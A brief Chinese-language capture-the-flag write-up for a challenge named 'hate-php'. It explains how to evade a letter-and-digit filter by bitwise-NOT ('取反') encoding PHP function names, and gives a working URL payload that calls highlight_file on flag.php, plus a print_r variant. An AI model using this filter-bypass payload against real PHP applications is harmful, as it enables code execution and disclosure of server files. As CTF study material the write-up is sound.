hate-php
取反绕过对字母和数字的过滤
<?php
echo urlencode(~'highlight_file'); //%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A
echo "\n";
echo urlencode(~'flag.php'); //%99%93%9E%98%D1%8F%97%8F
?>
/?code=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)(~%99%93%9E%98%D1%8F%97%8F)
另一种方法
参考
先echo urlencode(~'print_r');
取反得到编码
地址栏输入的时候再次取反让服务器解析得到 print_r